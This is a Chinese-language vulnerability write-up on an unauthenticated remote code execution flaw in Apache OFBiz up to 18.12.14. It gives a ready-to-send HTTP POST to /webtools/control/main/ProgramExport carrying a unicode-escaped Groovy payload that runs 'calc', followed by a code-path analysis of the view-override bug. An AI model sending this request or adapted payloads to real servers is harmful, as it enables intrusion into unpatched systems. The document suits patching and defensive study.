漏洞简介

Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。

影响版本
Apache OFBiz <= 18.12.14

漏洞复现

https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14

下载代码链接

https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14

下载后利用 idea 打开并编译运行

构造发送数据包

POST /webtools/control/main/ProgramExport HTTP/1.1
Host:127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/85.0.4183.83Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User:?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length:272

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

成功执行打开计算器的命令

\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b 是 throw new Exception('calc'.execute().text); 进行编码后的数据

漏洞分析

applications\accounting\webapp\accounting\WEB-INF\web.xml

org.apache.ofbiz.webapp.control.ControlServlet 会处理所有以/control/开头的路由

org.apache.ofbiz.webapp.control.ControlServlet#doPost

doPost 方法转换为 doGet 请求

org.apache.ofbiz.webapp.control.ControlServlet#doGet

利用 RequestHandler 来处理请求

org.apache.ofbiz.webapp.control.RequestHandler#doRequest

在 RequestHandler#doRequest 中依次获取路由相关参数

org.apache.ofbiz.base.util.UtilHttp#getApplicationName

org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri

org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri

依次获取到与路由相关的参数后,调用 resolveURI 返回路由对应的配置信息

org.apache.ofbiz.webapp.c

这里对应的是

framework/webtools/webapp/webtools/WEB-INF/controller.xml

对应的 /webtools/control/main/ 不需要认证,所以可以继续向下执行

通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse

else if("view".equals(nextRequestResponse.type)){
if(Debug.verboseOn())Debug.logVerbose("[RequestHandler.doRequest]: Response is a view."+ showSessionId(request), module);

// check for an override view, only used if"success"= eventReturn
String viewName =(UtilValidate.isNotEmpty(overrideViewUri)&&(eventReturn == null ||"success".equals(eventReturn)))? overrideViewUri : nextRequestResponse.value;
                renderView(viewName, requestMap.securityExternalView, request, response, saveName);
            }

overrideViewUri 非空且 eventReturn 为 null 或 "success" 的情况下,将 viewName 设置为 overrideViewUri。否则将 viewName 设置为 nextRequestResponse.value

这里请求的路径为 /main/ProgramExport 造成 view 的解析冲突,会进入到 ProgramExport 这个业务中 ,renderView 方法会解析与ProgramExport对应的请求

framework/webtools/widget/EntityScreens.xml

framework/webtools/groovyScripts/entity/ProgramExport.groovy

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。